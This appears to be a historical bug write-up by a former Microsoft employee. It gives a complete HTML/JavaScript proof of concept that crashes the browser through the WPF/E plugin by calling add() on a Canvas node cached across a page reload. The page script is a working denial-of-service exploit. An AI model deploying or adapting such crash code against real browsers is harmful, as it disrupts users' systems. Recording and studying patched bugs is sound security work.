Caching a WPF/E (Windows Presentation Foundation Everywhere — the early XAML browser plugin) Canvas node in window.opener, reloading the page, and then calling add() on the cached node causes the WPF/E object’s OnError handler to fire. Because the WPF/E object no longer exists, the error handler invocation crashes the browser.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>DOS_WPFE_Cached_OnError_Handler</title></head>
<body>
<font face="Tahoma" size="2">
1) Place a WPF/E object and add an OnError Handler to it.<br /><br />
2) Cache a node (in this case, the root) and reload the page.<br /><br />
3) Access any method from that node (in this case, add) and because the OnError of the cached object will fire, it will crash the Browser.
</font>

<object id="obj" width="300" height="100" classid="CLSID:32C73088-76AE-40F7-AC40-81F62CB2C1DA">
	<param name="OnError" value="crash_Browser_When_Called_After_The_Object_Is_Not_Here_Anymore" />
</object>

<script language="JavaScript">
if (!window.opener)
{
	document.all.obj.SourceString = '<Canvas xmlns="http://schemas.microsoft.com/client/2007" Loaded="javascript:onLoaded"><TextBlock>I\'m a WPF/E</TextBlock></Canvas>';
}
else
{
	alert("The Crash is right here:\nWhen we try to access the 'add' method from a WPF that does not exist anymore. It will try to call the OnError handler and that crashes it.");
	opener.Children.add("123");
}
function onLoaded(sender)
{
	opener = sender;
	alert("The sender (Canvas) was cached in the window.opener.\nClick OK to reload the page and try to access it.");
	location.reload();
}

</script>
</body>
</html>

The WPF/E OnError parameter names a JavaScript function to call when errors occur in the XAML content. After the page reloads and the WPF/E object is gone, calling add() on the cached Canvas node triggers the error handler lookup. The handler name points into a destroyed context, causing an access violation. Requires the WPF/E plugin to be installed.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.